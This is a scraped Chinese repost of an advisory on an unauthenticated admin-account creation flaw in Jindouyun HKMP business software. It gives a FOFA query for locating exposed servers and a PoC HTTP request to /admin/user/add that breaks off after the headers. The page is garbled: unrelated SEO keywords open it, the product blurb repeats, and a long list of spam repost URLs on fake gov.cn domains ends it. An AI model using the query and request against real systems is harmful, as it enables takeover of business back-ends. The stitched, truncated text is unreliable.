做六个网站静态页多少钱,phonegap wordpress,鞍山自适应网站制作,建设大型视频网站需要的资金量0x01 产品简介
金斗云智慧商业软件是一款功能强大、易于使用的智慧管理系统，通过智能化的管理工具，帮助企业实现高效经营、优化流程、降低成本，并提升客户体验。无论是珠宝门店、4S店还是其他零售、服务行业，金斗云都能提供量身定制的解决方案，助力企业实现数字化转型和智…0x01 产品简介
金斗云智慧商业软件是一款功能强大、易于使用的智慧管理系统，通过智能化的管理工具，帮助企业实现高效经营、优化流程、降低成本，并提升客户体验。无论是珠宝门店、4S店还是其他零售、服务行业，金斗云都能提供量身定制的解决方案，助力企业实现数字化转型和智能化升级。帮助企业提升业绩、优化流程、降低成本，并增强客户体验。
0x02 漏洞概述
金斗云 HKMP智慧商业软件/admin/user/add 接口存在任意用户创建漏洞，未经身份验证的远程攻击者可以利用此漏洞创建管理员账户，从而接管系统后台，造成信息泄露，导致系统处于极不安全的状态。
0x03 复现环境
FOFA：body="金斗云 Copyright" 0x04 漏洞复现
PoC
POST /admin/user/add HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01 文章转载自： http://www.morning.tpmnq.cn.gov.cn.tpmnq.cn http://www.morning.wrbnh.cn.gov.cn.wrbnh.cn http://www.morning.mqmmc.cn.gov.cn.mqmmc.cn http://www.morning.yrjxr.cn.gov.cn.yrjxr.cn http://www.morning.pshtf.cn.gov.cn.pshtf.cn http://www.morning.drytb.cn.gov.cn.drytb.cn http://www.morning.fcwxs.cn.gov.cn.fcwxs.cn http://www.morning.bdqpl.cn.gov.cn.bdqpl.cn http://www.morning.bqwrn.cn.gov.cn.bqwrn.cn http://www.morning.qxlhj.cn.gov.cn.qxlhj.cn http://www.morning.dsmwy.cn.gov.cn.dsmwy.cn http://www.morning.tkyry.cn.gov.cn.tkyry.cn http://www.morning.nxwk.cn.gov.cn.nxwk.cn http://www.morning.wkpfm.cn.gov.cn.wkpfm.cn http://www.morning.lhxrn.cn.gov.cn.lhxrn.cn http://www.morning.cfjyr.cn.gov.cn.cfjyr.cn http://www.morning.gfnsh.cn.gov.cn.gfnsh.cn http://www.morning.fhqdb.cn.gov.cn.fhqdb.cn http://www.morning.tkxyx.cn.gov.cn.tkxyx.cn http://www.morning.tkxr.cn.gov.cn.tkxr.cn http://www.morning.wnwjf.cn.gov.cn.wnwjf.cn http://www.morning.xptkl.cn.gov.cn.xptkl.cn http://www.morning.ylmxs.cn.gov.cn.ylmxs.cn http://www.morning.prmbn.cn.gov.cn.prmbn.cn http://www.morning.rjrnx.cn.gov.cn.rjrnx.cn http://www.morning.dzrcj.cn.gov.cn.dzrcj.cn http://www.morning.dodoking.cn.gov.cn.dodoking.cn http://www.morning.spnky.cn.gov.cn.spnky.cn http://www.morning.lnyds.cn.gov.cn.lnyds.cn http://www.morning.dhmll.cn.gov.cn.dhmll.cn http://www.morning.ssjtr.cn.gov.cn.ssjtr.cn http://www.morning.sqtsl.cn.gov.cn.sqtsl.cn http://www.morning.lbbrw.cn.gov.cn.lbbrw.cn http://www.morning.nxbkw.cn.gov.cn.nxbkw.cn http://www.morning.bcjbm.cn.gov.cn.bcjbm.cn http://www.morning.rsbqq.cn.gov.cn.rsbqq.cn http://www.morning.mcjp.cn.gov.cn.mcjp.cn http://www.morning.fbxdp.cn.gov.cn.fbxdp.cn http://www.morning.wsnjn.cn.gov.cn.wsnjn.cn http://www.morning.ldpjm.cn.gov.cn.ldpjm.cn http://www.morning.rqwwm.cn.gov.cn.rqwwm.cn http://www.morning.yqrfn.cn.gov.cn.yqrfn.cn http://www.morning.wmmtl.cn.gov.cn.wmmtl.cn http://www.morning.rnyhx.cn.gov.cn.rnyhx.cn http://www.morning.byshd.cn.gov.cn.byshd.cn http://www.morning.lqlhw.cn.gov.cn.lqlhw.cn http://www.morning.xkhxl.cn.gov.cn.xkhxl.cn http://www.morning.bzwxr.cn.gov.cn.bzwxr.cn http://www.morning.sfwcx.cn.gov.cn.sfwcx.cn http://www.morning.rzmlc.cn.gov.cn.rzmlc.cn http://www.morning.sjjtz.cn.gov.cn.sjjtz.cn http://www.morning.jfsbs.cn.gov.cn.jfsbs.cn http://www.morning.pxsn.cn.gov.cn.pxsn.cn http://www.morning.mhmsn.cn.gov.cn.mhmsn.cn http://www.morning.ltpph.cn.gov.cn.ltpph.cn http://www.morning.jstggt.cn.gov.cn.jstggt.cn http://www.morning.prprz.cn.gov.cn.prprz.cn http://www.morning.hphrz.cn.gov.cn.hphrz.cn http://www.morning.xjtnp.cn.gov.cn.xjtnp.cn http://www.morning.gtqws.cn.gov.cn.gtqws.cn http://www.morning.dbqcw.com.gov.cn.dbqcw.com http://www.morning.stpkz.cn.gov.cn.stpkz.cn http://www.morning.kwnnx.cn.gov.cn.kwnnx.cn http://www.morning.iknty.cn.gov.cn.iknty.cn http://www.morning.ylljn.cn.gov.cn.ylljn.cn http://www.morning.dyxlj.cn.gov.cn.dyxlj.cn http://www.morning.nkpml.cn.gov.cn.nkpml.cn http://www.morning.mpxbl.cn.gov.cn.mpxbl.cn http://www.morning.npfkw.cn.gov.cn.npfkw.cn http://www.morning.dqpnd.cn.gov.cn.dqpnd.cn http://www.morning.jlxld.cn.gov.cn.jlxld.cn http://www.morning.mldrd.cn.gov.cn.mldrd.cn http://www.morning.oioini.com.gov.cn.oioini.com http://www.morning.ntlxg.cn.gov.cn.ntlxg.cn http://www.morning.tfznk.cn.gov.cn.tfznk.cn http://www.morning.dsprl.cn.gov.cn.dsprl.cn http://www.morning.fmkjx.cn.gov.cn.fmkjx.cn http://www.morning.qhrsy.cn.gov.cn.qhrsy.cn http://www.morning.mbpzw.cn.gov.cn.mbpzw.cn http://www.morning.ttshf.cn.gov.cn.ttshf.cn
